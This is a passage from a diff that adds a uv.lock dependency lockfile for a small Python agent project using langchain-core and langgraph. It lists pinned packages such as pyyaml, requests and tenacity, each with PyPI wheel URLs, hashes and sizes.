+    { url = "https://files.pythonhosted.org/packages/40/1f/f1eb9eb350e795d1af8586289746f5c5677d16043040d63710e22abc43c9/pydantic_core-2.46.4-cp314-cp314t-win_amd64.whl", hash = "sha256:2108ba5c1c1eca18030634489dc544844144ee36357f2f9f780b93e7ddbb44b5", size = 2051624, upload-time = "2026-05-06T13:38:21.672Z" },
+    { url = "https://files.pythonhosted.org/packages/f6/d2/42dd53d0a85c27606f316d3aa5d2869c4e8470a5ed6dec30e4a1abe19192/pydantic_core-2.46.4-cp314-cp314t-win_arm64.whl", hash = "sha256:4fcbe087dbc2068af7eda3aa87634eba216dbda64d1ae73c8684b621d33f6596", size = 2017325, upload-time = "2026-05-06T13:40:52.723Z" },
+    { url = "https://files.pythonhosted.org/packages/ee/a4/73995fd4ebbb46ba0ee51e6fa049b8f02c40daebb762208feda8a6b7894d/pydantic_core-2.46.4-graalpy311-graalpy242_311_native-macosx_10_12_x86_64.whl", hash = "sha256:14d4edf427bdcf950a8a02d7cb44a08614388dd6e1bdcbf4f67504fa7887da9c", size = 2111589, upload-time = "2026-05-06T13:37:10.817Z" },
+    { url = "https://files.pythonhosted.org/packages/fb/7f/f37d3a5e8bfcc2e403f5c57a730f2d815693fb42119e8ea48b3789335af1/pydantic_core-2.46.4-graalpy311-graalpy242_311_native-macosx_11_0_arm64.whl", hash = "sha256:0ce40cd7b21210e99342afafbd4d0f76d784eb5b1d60f3bdc566be4983c6c73b", size = 1944552, upload-time = "2026-05-06T13:36:56.717Z" },
+    { url = "https://files.pythonhosted.org/packages/15/3c/d7eb777b3ff43e8433a4efb39a17aa8fd98a4ee8561a24a67ef5db07b2d6/pydantic_core-2.46.4-graalpy311-graalpy242_311_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:90884113d8b48f760e9587002789ddd741e76ab9f89518cd1e43b1f1a52ec44b", size = 1982984, upload-time = "2026-05-06T13:39:06.207Z" },
+    { url = "https://files.pythonhosted.org/packages/63/87/70b9f40170a81afd55ca26c9b2acb25c20d64bcfbf888fafecb3ba077d4c/pydantic_core-2.46.4-graalpy311-graalpy242_311_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:66ce7632c22d837c95301830e111ad0128a32b8207533b60896a96c4915192ea", size = 2138417, upload-time = "2026-05-06T13:39:45.476Z" },
+    { url = "https://files.pythonhosted.org/packages/9d/1d/8987ad40f65ae1432753072f214fb5c74fe47ffbd0698bb9cbbb585664f8/pydantic_core-2.46.4-graalpy312-graalpy250_312_native-macosx_10_12_x86_64.whl", hash = "sha256:1d8ba486450b14f3b1d63bc521d410ec7565e52f887b9fb671791886436a42f7", size = 2095527, upload-time = "2026-05-06T13:39:52.283Z" },
+    { url = "https://files.pythonhosted.org/packages/64/d3/84c282a7eee1d3ac4c0377546ef5a1ea436ce26840d9ac3b7ed54a377507/pydantic_core-2.46.4-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:3009f12e4e90b7f88b4f9adb1b0c4a3d58fe7820f3238c190047209d148026df", size = 1936024, upload-time = "2026-05-06T13:40:15.671Z" },
+    { url = "https://files.pythonhosted.org/packages/d7/ca/eac61596cdeb4d7e174d3dc0bd8a6238f14f75f97a24e7b7db4c7e7340a0/pydantic_core-2.46.4-graalpy312-graalpy250_312_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ad785e92e6dc634c21555edc8bd6b64957ab844541bcb96a1366c202951ae526", size = 1990696, upload-time = "2026-05-06T13:38:34.717Z" },
+    { url = "https://files.pythonhosted.org/packages/fa/c3/7c8b240552251faf6b3a957db200fcfbbcec36763c050428b601e0c9b83b/pydantic_core-2.46.4-graalpy312-graalpy250_312_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:00c603d540afdd6b80eb39f078f33ebd46211f02f33e34a32d9f053bba711de0", size = 2147590, upload-time = "2026-05-06T13:39:29.883Z" },
+    { url = "https://files.pythonhosted.org/packages/11/cb/428de0385b6c8d44b716feba566abfacfbd23ee3c4439faa789a1456242f/pydantic_core-2.46.4-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:0c563b08bca408dc7f65f700633d8442fffb2421fc47b8101377e9fd65051ff0", size = 2112782, upload-time = "2026-05-06T13:37:04.016Z" },
+    { url = "https://files.pythonhosted.org/packages/0b/b5/6a17bdadd0fc1f170adfd05a20d37c832f52b117b4d9131da1f41bb097ce/pydantic_core-2.46.4-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:db06ffe51636ffe9ca531fe9023dd64bdd794be8754cb5df57c5498ae5b518a7", size = 1952146, upload-time = "2026-05-06T13:39:43.092Z" },
+    { url = "https://files.pythonhosted.org/packages/2a/dc/03734d80e362cd43ef65428e9de77c730ce7f2f11c60d2b1e1b39f0fbf99/pydantic_core-2.46.4-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:133878133d271ade3d41d1bfb2a45ec38dbdbda40bc065921c6b04e4630127e2", size = 2134492, upload-time = "2026-05-06T13:36:58.124Z" },
+    { url = "https://files.pythonhosted.org/packages/de/df/5e5ffc085ed07cc22d298134d3d911c63e91f6a0eb91fe646750a3209910/pydantic_core-2.46.4-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:9bc519fbf2b7578398853d815009ae5e4d4603d12f4e3f91da8c06852d3da3e9", size = 2156604, upload-time = "2026-05-06T13:37:49.88Z" },
+    { url = "https://files.pythonhosted.org/packages/81/44/6e112a4253e56f5705467cbab7ab5e91ee7398ba3d56d358635958893d3e/pydantic_core-2.46.4-pp311-pypy311_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:c7a7bd4e39e8e4c12c39cd480356842b6a8a06e41b23a55a5e3e191718838ddf", size = 2183828, upload-time = "2026-05-06T13:37:43.053Z" },
+    { url = "https://files.pythonhosted.org/packages/ac/ad/5565071e937d8e752842ac241463944c9eb14c87e2d269f2658a5bd05e98/pydantic_core-2.46.4-pp311-pypy311_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:d396ec2b979760aaf3218e76c24e65bd0aca24983298653b3a9d7a45f9e47b30", size = 2310000, upload-time = "2026-05-06T13:37:56.694Z" },
+    { url = "https://files.pythonhosted.org/packages/4f/c3/66883a5cec183e7fba4d024b4cbbe61851a63750ef606b0afecc46d1f2bf/pydantic_core-2.46.4-pp311-pypy311_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:86e1a4418c6cd97d60c95c71164158eaf7324fae7b0923264016baa993eba6fc", size = 2361286, upload-time = "2026-05-06T13:40:05.667Z" },
+    { url = "https://files.pythonhosted.org/packages/4b/2d/69abac8f838090bbecd5df894befb2c2619e7996a98ddb949db9f3b93225/pydantic_core-2.46.4-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:d51026d73fcfd93610abc7b27789c26b313920fcfb20e27462d74a7f8b06e983", size = 2193071, upload-time = "2026-05-06T13:38:08.682Z" },
+]
+
+[[package]]
+name = "pyyaml"
+version = "6.0.3"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/05/8e/961c0007c59b8dd7729d542c61a4d537767a59645b82a0b521206e1e25c2/pyyaml-6.0.3.tar.gz", hash = "sha256:d76623373421df22fb4cf8817020cbb7ef15c725b9d5e45f17e189bfc384190f", size = 130960, upload-time = "2025-09-25T21:33:16.546Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/6d/16/a95b6757765b7b031c9374925bb718d55e0a9ba8a1b6a12d25962ea44347/pyyaml-6.0.3-cp311-cp311-macosx_10_13_x86_64.whl", hash = "sha256:44edc647873928551a01e7a563d7452ccdebee747728c1080d881d68af7b997e", size = 185826, upload-time = "2025-09-25T21:31:58.655Z" },
+    { url = "https://files.pythonhosted.org/packages/16/19/13de8e4377ed53079ee996e1ab0a9c33ec2faf808a4647b7b4c0d46dd239/pyyaml-6.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:652cb6edd41e718550aad172851962662ff2681490a8a711af6a4d288dd96824", size = 175577, upload-time = "2025-09-25T21:32:00.088Z" },
+    { url = "https://files.pythonhosted.org/packages/0c/62/d2eb46264d4b157dae1275b573017abec435397aa59cbcdab6fc978a8af4/pyyaml-6.0.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:10892704fc220243f5305762e276552a0395f7beb4dbf9b14ec8fd43b57f126c", size = 775556, upload-time = "2025-09-25T21:32:01.31Z" },
+    { url = "https://files.pythonhosted.org/packages/10/cb/16c3f2cf3266edd25aaa00d6c4350381c8b012ed6f5276675b9eba8d9ff4/pyyaml-6.0.3-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:850774a7879607d3a6f50d36d04f00ee69e7fc816450e5f7e58d7f17f1ae5c00", size = 882114, upload-time = "2025-09-25T21:32:03.376Z" },
+    { url = "https://files.pythonhosted.org/packages/71/60/917329f640924b18ff085ab889a11c763e0b573da888e8404ff486657602/pyyaml-6.0.3-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b8bb0864c5a28024fac8a632c443c87c5aa6f215c0b126c449ae1a150412f31d", size = 806638, upload-time = "2025-09-25T21:32:04.553Z" },
+    { url = "https://files.pythonhosted.org/packages/dd/6f/529b0f316a9fd167281a6c3826b5583e6192dba792dd55e3203d3f8e655a/pyyaml-6.0.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:1d37d57ad971609cf3c53ba6a7e365e40660e3be0e5175fa9f2365a379d6095a", size = 767463, upload-time = "2025-09-25T21:32:06.152Z" },
+    { url = "https://files.pythonhosted.org/packages/f2/6a/b627b4e0c1dd03718543519ffb2f1deea4a1e6d42fbab8021936a4d22589/pyyaml-6.0.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:37503bfbfc9d2c40b344d06b2199cf0e96e97957ab1c1b546fd4f87e53e5d3e4", size = 794986, upload-time = "2025-09-25T21:32:07.367Z" },
+    { url = "https://files.pythonhosted.org/packages/45/91/47a6e1c42d9ee337c4839208f30d9f09caa9f720ec7582917b264defc875/pyyaml-6.0.3-cp311-cp311-win32.whl", hash = "sha256:8098f252adfa6c80ab48096053f512f2321f0b998f98150cea9bd23d83e1467b", size = 142543, upload-time = "2025-09-25T21:32:08.95Z" },
+    { url = "https://files.pythonhosted.org/packages/da/e3/ea007450a105ae919a72393cb06f122f288ef60bba2dc64b26e2646fa315/pyyaml-6.0.3-cp311-cp311-win_amd64.whl", hash = "sha256:9f3bfb4965eb874431221a3ff3fdcddc7e74e3b07799e0e84ca4a0f867d449bf", size = 158763, upload-time = "2025-09-25T21:32:09.96Z" },
+    { url = "https://files.pythonhosted.org/packages/d1/33/422b98d2195232ca1826284a76852ad5a86fe23e31b009c9886b2d0fb8b2/pyyaml-6.0.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:7f047e29dcae44602496db43be01ad42fc6f1cc0d8cd6c83d342306c32270196", size = 182063, upload-time = "2025-09-25T21:32:11.445Z" },
+    { url = "https://files.pythonhosted.org/packages/89/a0/6cf41a19a1f2f3feab0e9c0b74134aa2ce6849093d5517a0c550fe37a648/pyyaml-6.0.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:fc09d0aa354569bc501d4e787133afc08552722d3ab34836a80547331bb5d4a0", size = 173973, upload-time = "2025-09-25T21:32:12.492Z" },
+    { url = "https://files.pythonhosted.org/packages/ed/23/7a778b6bd0b9a8039df8b1b1d80e2e2ad78aa04171592c8a5c43a56a6af4/pyyaml-6.0.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9149cad251584d5fb4981be1ecde53a1ca46c891a79788c0df828d2f166bda28", size = 775116, upload-time = "2025-09-25T21:32:13.652Z" },
+    { url = "https://files.pythonhosted.org/packages/65/30/d7353c338e12baef4ecc1b09e877c1970bd3382789c159b4f89d6a70dc09/pyyaml-6.0.3-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5fdec68f91a0c6739b380c83b951e2c72ac0197ace422360e6d5a959d8d97b2c", size = 844011, upload-time = "2025-09-25T21:32:15.21Z" },
+    { url = "https://files.pythonhosted.org/packages/8b/9d/b3589d3877982d4f2329302ef98a8026e7f4443c765c46cfecc8858c6b4b/pyyaml-6.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ba1cc08a7ccde2d2ec775841541641e4548226580ab850948cbfda66a1befcdc", size = 807870, upload-time = "2025-09-25T21:32:16.431Z" },
+    { url = "https://files.pythonhosted.org/packages/05/c0/b3be26a015601b822b97d9149ff8cb5ead58c66f981e04fedf4e762f4bd4/pyyaml-6.0.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8dc52c23056b9ddd46818a57b78404882310fb473d63f17b07d5c40421e47f8e", size = 761089, upload-time = "2025-09-25T21:32:17.56Z" },
+    { url = "https://files.pythonhosted.org/packages/be/8e/98435a21d1d4b46590d5459a22d88128103f8da4c2d4cb8f14f2a96504e1/pyyaml-6.0.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:41715c910c881bc081f1e8872880d3c650acf13dfa8214bad49ed4cede7c34ea", size = 790181, upload-time = "2025-09-25T21:32:18.834Z" },
+    { url = "https://files.pythonhosted.org/packages/74/93/7baea19427dcfbe1e5a372d81473250b379f04b1bd3c4c5ff825e2327202/pyyaml-6.0.3-cp312-cp312-win32.whl", hash = "sha256:96b533f0e99f6579b3d4d4995707cf36df9100d67e0c8303a0c55b27b5f99bc5", size = 137658, upload-time = "2025-09-25T21:32:20.209Z" },
+    { url = "https://files.pythonhosted.org/packages/86/bf/899e81e4cce32febab4fb42bb97dcdf66bc135272882d1987881a4b519e9/pyyaml-6.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:5fcd34e47f6e0b794d17de1b4ff496c00986e1c83f7ab2fb8fcfe9616ff7477b", size = 154003, upload-time = "2025-09-25T21:32:21.167Z" },
+    { url = "https://files.pythonhosted.org/packages/1a/08/67bd04656199bbb51dbed1439b7f27601dfb576fb864099c7ef0c3e55531/pyyaml-6.0.3-cp312-cp312-win_arm64.whl", hash = "sha256:64386e5e707d03a7e172c0701abfb7e10f0fb753ee1d773128192742712a98fd", size = 140344, upload-time = "2025-09-25T21:32:22.617Z" },
+    { url = "https://files.pythonhosted.org/packages/d1/11/0fd08f8192109f7169db964b5707a2f1e8b745d4e239b784a5a1dd80d1db/pyyaml-6.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:8da9669d359f02c0b91ccc01cac4a67f16afec0dac22c2ad09f46bee0697eba8", size = 181669, upload-time = "2025-09-25T21:32:23.673Z" },
+    { url = "https://files.pythonhosted.org/packages/b1/16/95309993f1d3748cd644e02e38b75d50cbc0d9561d21f390a76242ce073f/pyyaml-6.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:2283a07e2c21a2aa78d9c4442724ec1eb15f5e42a723b99cb3d822d48f5f7ad1", size = 173252, upload-time = "2025-09-25T21:32:25.149Z" },
+    { url = "https://files.pythonhosted.org/packages/50/31/b20f376d3f810b9b2371e72ef5adb33879b25edb7a6d072cb7ca0c486398/pyyaml-6.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ee2922902c45ae8ccada2c5b501ab86c36525b883eff4255313a253a3160861c", size = 767081, upload-time = "2025-09-25T21:32:26.575Z" },
+    { url = "https://files.pythonhosted.org/packages/49/1e/a55ca81e949270d5d4432fbbd19dfea5321eda7c41a849d443dc92fd1ff7/pyyaml-6.0.3-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a33284e20b78bd4a18c8c2282d549d10bc8408a2a7ff57653c0cf0b9be0afce5", size = 841159, upload-time = "2025-09-25T21:32:27.727Z" },
+    { url = "https://files.pythonhosted.org/packages/74/27/e5b8f34d02d9995b80abcef563ea1f8b56d20134d8f4e5e81733b1feceb2/pyyaml-6.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0f29edc409a6392443abf94b9cf89ce99889a1dd5376d94316ae5145dfedd5d6", size = 801626, upload-time = "2025-09-25T21:32:28.878Z" },
+    { url = "https://files.pythonhosted.org/packages/f9/11/ba845c23988798f40e52ba45f34849aa8a1f2d4af4b798588010792ebad6/pyyaml-6.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f7057c9a337546edc7973c0d3ba84ddcdf0daa14533c2065749c9075001090e6", size = 753613, upload-time = "2025-09-25T21:32:30.178Z" },
+    { url = "https://files.pythonhosted.org/packages/3d/e0/7966e1a7bfc0a45bf0a7fb6b98ea03fc9b8d84fa7f2229e9659680b69ee3/pyyaml-6.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:eda16858a3cab07b80edaf74336ece1f986ba330fdb8ee0d6c0d68fe82bc96be", size = 794115, upload-time = "2025-09-25T21:32:31.353Z" },
+    { url = "https://files.pythonhosted.org/packages/de/94/980b50a6531b3019e45ddeada0626d45fa85cbe22300844a7983285bed3b/pyyaml-6.0.3-cp313-cp313-win32.whl", hash = "sha256:d0eae10f8159e8fdad514efdc92d74fd8d682c933a6dd088030f3834bc8e6b26", size = 137427, upload-time = "2025-09-25T21:32:32.58Z" },
+    { url = "https://files.pythonhosted.org/packages/97/c9/39d5b874e8b28845e4ec2202b5da735d0199dbe5b8fb85f91398814a9a46/pyyaml-6.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:79005a0d97d5ddabfeeea4cf676af11e647e41d81c9a7722a193022accdb6b7c", size = 154090, upload-time = "2025-09-25T21:32:33.659Z" },
+    { url = "https://files.pythonhosted.org/packages/73/e8/2bdf3ca2090f68bb3d75b44da7bbc71843b19c9f2b9cb9b0f4ab7a5a4329/pyyaml-6.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:5498cd1645aa724a7c71c8f378eb29ebe23da2fc0d7a08071d89469bf1d2defb", size = 140246, upload-time = "2025-09-25T21:32:34.663Z" },
+    { url = "https://files.pythonhosted.org/packages/9d/8c/f4bd7f6465179953d3ac9bc44ac1a8a3e6122cf8ada906b4f96c60172d43/pyyaml-6.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:8d1fab6bb153a416f9aeb4b8763bc0f22a5586065f86f7664fc23339fc1c1fac", size = 181814, upload-time = "2025-09-25T21:32:35.712Z" },
+    { url = "https://files.pythonhosted.org/packages/bd/9c/4d95bb87eb2063d20db7b60faa3840c1b18025517ae857371c4dd55a6b3a/pyyaml-6.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:34d5fcd24b8445fadc33f9cf348c1047101756fd760b4dacb5c3e99755703310", size = 173809, upload-time = "2025-09-25T21:32:36.789Z" },
+    { url = "https://files.pythonhosted.org/packages/92/b5/47e807c2623074914e29dabd16cbbdd4bf5e9b2db9f8090fa64411fc5382/pyyaml-6.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:501a031947e3a9025ed4405a168e6ef5ae3126c59f90ce0cd6f2bfc477be31b7", size = 766454, upload-time = "2025-09-25T21:32:37.966Z" },
+    { url = "https://files.pythonhosted.org/packages/02/9e/e5e9b168be58564121efb3de6859c452fccde0ab093d8438905899a3a483/pyyaml-6.0.3-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b3bc83488de33889877a0f2543ade9f70c67d66d9ebb4ac959502e12de895788", size = 836355, upload-time = "2025-09-25T21:32:39.178Z" },
+    { url = "https://files.pythonhosted.org/packages/88/f9/16491d7ed2a919954993e48aa941b200f38040928474c9e85ea9e64222c3/pyyaml-6.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c458b6d084f9b935061bc36216e8a69a7e293a2f1e68bf956dcd9e6cbcd143f5", size = 794175, upload-time = "2025-09-25T21:32:40.865Z" },
+    { url = "https://files.pythonhosted.org/packages/dd/3f/5989debef34dc6397317802b527dbbafb2b4760878a53d4166579111411e/pyyaml-6.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7c6610def4f163542a622a73fb39f534f8c101d690126992300bf3207eab9764", size = 755228, upload-time = "2025-09-25T21:32:42.084Z" },
+    { url = "https://files.pythonhosted.org/packages/d7/ce/af88a49043cd2e265be63d083fc75b27b6ed062f5f9fd6cdc223ad62f03e/pyyaml-6.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5190d403f121660ce8d1d2c1bb2ef1bd05b5f68533fc5c2ea899bd15f4399b35", size = 789194, upload-time = "2025-09-25T21:32:43.362Z" },
+    { url = "https://files.pythonhosted.org/packages/23/20/bb6982b26a40bb43951265ba29d4c246ef0ff59c9fdcdf0ed04e0687de4d/pyyaml-6.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:4a2e8cebe2ff6ab7d1050ecd59c25d4c8bd7e6f400f5f82b96557ac0abafd0ac", size = 156429, upload-time = "2025-09-25T21:32:57.844Z" },
+    { url = "https://files.pythonhosted.org/packages/f4/f4/a4541072bb9422c8a883ab55255f918fa378ecf083f5b85e87fc2b4eda1b/pyyaml-6.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:93dda82c9c22deb0a405ea4dc5f2d0cda384168e466364dec6255b293923b2f3", size = 143912, upload-time = "2025-09-25T21:32:59.247Z" },
+    { url = "https://files.pythonhosted.org/packages/7c/f9/07dd09ae774e4616edf6cda684ee78f97777bdd15847253637a6f052a62f/pyyaml-6.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:02893d100e99e03eda1c8fd5c441d8c60103fd175728e23e431db1b589cf5ab3", size = 189108, upload-time = "2025-09-25T21:32:44.377Z" },
+    { url = "https://files.pythonhosted.org/packages/4e/78/8d08c9fb7ce09ad8c38ad533c1191cf27f7ae1effe5bb9400a46d9437fcf/pyyaml-6.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:c1ff362665ae507275af2853520967820d9124984e0f7466736aea23d8611fba", size = 183641, upload-time = "2025-09-25T21:32:45.407Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/5b/3babb19104a46945cf816d047db2788bcaf8c94527a805610b0289a01c6b/pyyaml-6.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6adc77889b628398debc7b65c073bcb99c4a0237b248cacaf3fe8a557563ef6c", size = 831901, upload-time = "2025-09-25T21:32:48.83Z" },
+    { url = "https://files.pythonhosted.org/packages/8b/cc/dff0684d8dc44da4d22a13f35f073d558c268780ce3c6ba1b87055bb0b87/pyyaml-6.0.3-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a80cb027f6b349846a3bf6d73b5e95e782175e52f22108cfa17876aaeff93702", size = 861132, upload-time = "2025-09-25T21:32:50.149Z" },
+    { url = "https://files.pythonhosted.org/packages/b1/5e/f77dc6b9036943e285ba76b49e118d9ea929885becb0a29ba8a7c75e29fe/pyyaml-6.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:00c4bdeba853cc34e7dd471f16b4114f4162dc03e6b7afcc2128711f0eca823c", size = 839261, upload-time = "2025-09-25T21:32:51.808Z" },
+    { url = "https://files.pythonhosted.org/packages/ce/88/a9db1376aa2a228197c58b37302f284b5617f56a5d959fd1763fb1675ce6/pyyaml-6.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:66e1674c3ef6f541c35191caae2d429b967b99e02040f5ba928632d9a7f0f065", size = 805272, upload-time = "2025-09-25T21:32:52.941Z" },
+    { url = "https://files.pythonhosted.org/packages/da/92/1446574745d74df0c92e6aa4a7b0b3130706a4142b2d1a5869f2eaa423c6/pyyaml-6.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:16249ee61e95f858e83976573de0f5b2893b3677ba71c9dd36b9cf8be9ac6d65", size = 829923, upload-time = "2025-09-25T21:32:54.537Z" },
+    { url = "https://files.pythonhosted.org/packages/f0/7a/1c7270340330e575b92f397352af856a8c06f230aa3e76f86b39d01b416a/pyyaml-6.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4ad1906908f2f5ae4e5a8ddfce73c320c2a1429ec52eafd27138b7f1cbe341c9", size = 174062, upload-time = "2025-09-25T21:32:55.767Z" },
+    { url = "https://files.pythonhosted.org/packages/f1/12/de94a39c2ef588c7e6455cfbe7343d3b2dc9d6b6b2f40c4c6565744c873d/pyyaml-6.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:ebc55a14a21cb14062aa4162f906cd962b28e2e9ea38f9b4391244cd8de4ae0b", size = 149341, upload-time = "2025-09-25T21:32:56.828Z" },
+]
+
+[[package]]
+name = "requests"
+version = "2.34.2"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "certifi" },
+    { name = "charset-normalizer" },
+    { name = "idna" },
+    { name = "urllib3" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/ac/c3/e2a2b89f2d3e2179abd6d00ebd70bff6273f37fb3e0cc209f48b39d00cbf/requests-2.34.2.tar.gz", hash = "sha256:f288924cae4e29463698d6d60bc6a4da69c89185ad1e0bcc4104f584e960b9ed", size = 142856, upload-time = "2026-05-14T19:25:27.735Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/a0/f4/c67b0b3f1b9245e8d266f0f112c500d50e5b4e83cb6f3b71b6528104182a/requests-2.34.2-py3-none-any.whl", hash = "sha256:2a0d60c172f83ac6ab31e4554906c0f3b3588d37b5cb939b1c061f4907e278e0", size = 73075, upload-time = "2026-05-14T19:25:26.443Z" },
+]
+
+[[package]]
+name = "requests-toolbelt"
+version = "1.0.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "requests" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/f3/61/d7545dafb7ac2230c70d38d31cbfe4cc64f7144dc41f6e4e4b78ecd9f5bb/requests-toolbelt-1.0.0.tar.gz", hash = "sha256:7681a0a3d047012b5bdc0ee37d7f8f07ebe76ab08caeccfc3921ce23c88d5bc6", size = 206888, upload-time = "2023-05-01T04:11:33.229Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/3f/51/d4db610ef29373b879047326cbf6fa98b6c1969d6f6dc423279de2b1be2c/requests_toolbelt-1.0.0-py2.py3-none-any.whl", hash = "sha256:cccfdd665f0a24fcf4726e690f65639d272bb0637b9b92dfd91a5568ccf6bd06", size = 54481, upload-time = "2023-05-01T04:11:28.427Z" },
+]
+
+[[package]]
+name = "simple-uv-agent"
+version = "0.1.0"
+source = { editable = "." }
+dependencies = [
+    { name = "langchain-core" },
+    { name = "langgraph" },
+]
+
+[package.metadata]
+requires-dist = [
+    { name = "langchain-core", specifier = ">=1.3.3" },
+    { name = "langgraph", specifier = ">=0.6.0,<2" },
+]
+
+[[package]]
+name = "tenacity"
+version = "9.1.4"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/47/c6/ee486fd809e357697ee8a44d3d69222b344920433d3b6666ccd9b374630c/tenacity-9.1.4.tar.gz", hash = "sha256:adb31d4c263f2bd041081ab33b498309a57c77f9acf2db65aadf0898179cf93a", size = 49413, upload-time = "2026-02-07T10:45:33.841Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/d7/c1/eb8f9debc45d3b7918a32ab756658a0904732f75e555402972246b0b8e71/tenacity-9.1.4-py3-none-any.whl", hash = "sha256:6095a360c919085f28c6527de529e76a06ad89b23659fa881ae0649b867a9d55", size = 28926, upload-time = "2026-02-07T10:45:32.24Z" },
+]
+
+[[package]]
+name = "typing-extensions"
+version = "4.15.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/72/94/1a15dd82efb362ac84269196e94cf00f187f7ed21c242792a923cdb1c61f/typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466", size = 109391, upload-time = "2025-08-25T13:49:26.313Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" },
+]
+
+[[package]]
+name = "typing-inspection"
+version = "0.4.2"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "typing-extensions" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/55/e3/70399cb7dd41c10ac53367ae42139cf4b1ca5f36bb3dc6c9d33acdb43655/typing_inspection-0.4.2.tar.gz", hash = "sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464", size = 75949, upload-time = "2025-10-01T02:14:41.687Z" }
+wheels = [
